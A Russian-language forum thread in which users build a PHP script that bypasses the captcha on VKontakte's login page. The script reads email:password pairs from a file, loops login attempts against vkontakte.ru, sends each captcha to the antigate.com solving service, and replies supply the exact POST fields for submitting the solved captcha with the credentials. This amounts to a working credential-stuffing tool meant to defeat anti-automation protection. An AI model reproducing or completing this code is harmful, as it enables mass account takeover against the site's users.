как обойти капчу на входе вк?

Статус
В этой теме нельзя размещать новые ответы.

buket23

Старатель
Регистрация
3 Окт 2008
Сообщения
163
Реакции
10
есть функция обработки капчи
PHP:
function recognize($filename, $apikey, $is_verbose = true, $rtimeout = 5, $mtimeout = 120, $is_phrase = 0, $is_regsense = 0, $is_numeric = 1, $min_len = 0, $max_len = 0)
   {
	if (!file_exists($filename))
	{
		if ($is_verbose) echo "file $filename not found\n";
		return false;
	}
    $postdata = array(
        'method'    => 'post', 
        'key'       => $apikey, 
        'file'      => '@'.$filename, //полный путь к файлу
        'phrase'	=> $is_phrase,
        'regsense'	=> $is_regsense,
        'numeric'	=> $is_numeric,
        'min_len'	=> $min_len,
        'max_len'	=> $max_len,
    );
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,             'http://antigate.com/in.php');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,     1);
    curl_setopt($ch, CURLOPT_TIMEOUT,             60);
    curl_setopt($ch, CURLOPT_POST,                 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS,         $postdata);
    $result = curl_exec($ch);
    if (curl_errno($ch)) 
    {
    	if ($is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
        return false;
    }
    curl_close($ch);
    if (strpos($result, "ERROR")!==false)
    {
    	if ($is_verbose) echo "server returned error: $result\n";
        return false;
    }
    else
    {
        $ex = explode("|", $result);
        $captcha_id = $ex[1];
    	if ($is_verbose) echo "captcha sent, got captcha ID $captcha_id\n";
        $waittime = 0;
        if ($is_verbose) echo "waiting for $rtimeout seconds\n";
        sleep($rtimeout);
        while(true)
        {
            $result = file_get_contents('http://antigate.com/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
            if (strpos($result, 'ERROR')!==false)
            {
            	if ($is_verbose) echo "server returned error: $result\n";
                return false;
            }
            if ($result=="CAPCHA_NOT_READY")
            {
            	if ($is_verbose) echo "captcha is not ready yet\n";
            	$waittime += $rtimeout;
            	if ($waittime>$mtimeout) 
            	{
            		if ($is_verbose) echo "timelimit ($mtimeout) hit\n";
            		break;
            	}
        		if ($is_verbose) echo "waiting for $rtimeout seconds\n";
            	sleep($rtimeout);
            }
            else
            {
            	$ex = explode('|', $result);
            	if (trim($ex[0])=='OK') return trim($ex[1]);
            }
        }
        return false;
    }
    }
далее набросал код, функцию тоже в него вставляю, как дальше закончить процесс разгадывания капчи? и правильно ли я делаю
PHP:
   function post($url,$post,$refer)
	{
       $ch = curl_init($url);
       curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
       curl_setopt($ch, CURLOPT_POST, 1);
       curl_setopt($ch, CURLOPT_HEADER, 1);
       curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
       curl_setopt($ch, CURLOPT_REFERER, $refer);
       curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
       curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
       curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
       $result  = curl_exec($ch);
	   return $result;
	}

$text = file("aks.txt");
foreach ($text as $txt)

 {
$buffer = explode(":",$txt);
	$pass = trim($buffer[1]);
	$email = trim($buffer[0]);

 
$result = post('http://vkontakte.ru/login.php','op=a_login_attempt','http://vkontakte.ru/login.php');

	if(preg_match('#captcha_sid\":\"(.+)\"#i',$result,$captcha))
{
 /* Создаём капчу */
	 file_put_contents("captcha.jpg",post('http://vkontakte.ru/captcha.php?s=1&sid='.$captcha[1]',null,'http://vkontakte.ru/login.php'));
    
	/* Распознаём её */
$text=recognize(getcwd()."/captcha.jpg",$_SESSION['ac_key'],false);
интересует как использовать данную функцию чтобы распознать капчу вк и передать ее
 
1. получить URL для капчи (через регулярки)
2. загрузить URL и сохранить капчу в файл на диск
3. распознать через функцию recognize
 
с распознованием капчи я вродебы разобрался, меня интересует запрос который передает разгаданную капчу серверу вк, пытался отснифать но не нашел где передается текст капчи
 
Где ты умудрился найти каптчу, попробовал несколько анонимайзеров, в надежде что каптча высветится для другой страны. Попробовал ошибочный ввод пароля - каптчи так же нет. Ты уверен что на вконтакте ломишся?
firebag для firefox вполне успешно отлавливал на аналогичных ресурсах
прощелкай к примеру не вводя логина и пароля 6 раз на 7 вылезет тебе капча
 
1. получает урл каптчи
2. по урлу получаете содержимое изображения
3. кодируете содержимое с помощью base64 в переменную $body
4. отправляете
PHP:
		$postdata = array(
			'method'    => 'base64', 
			'key'       => $system_key, 
			'body'      => $body,
			'ext' 		=> $ext,
			'regsense'	=> $case,
			'numeric'	=> $numeric,
			'min_len'	=> $min_len,
			'max_len'	=> $max_len,
			'phrase'	=> $phrase,
		);
 
с распознованием капчи я вродебы разобрался, меня интересует запрос который передает разгаданную капчу серверу вк, пытался отснифать но не нашел где передается текст капчи
POST запрос
PHP:
captcha_key	5S8x
captcha_sid	767043606539
op	a_login_attempt
Как я и говорил плагином firebag - замечательно отлавливается

UPD да конечно же для Для просмотра ссылки Войди или Зарегистрируйся добавляем к запросу поля каптчи
 
Добавлено через 1 минуту
POST запрос
PHP:
captcha_key	5S8x
captcha_sid	767043606539
op	a_login_attempt
Как я и говорил плагином firebag - замечательно отлавливается
Забыли указать куда отправлять,вот часть кода из моего скрипта.
PHP:
op=a_login_attempt&email={$acc}&pass={$pass}&expire=0&captcha_sid={$sid[1]}&captcha_key={$code}
 
А нет готовых программ для распознавания CAPTH???
 
Насколько я понимаю люди под каждую каптчу пишут свой скрипт.
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху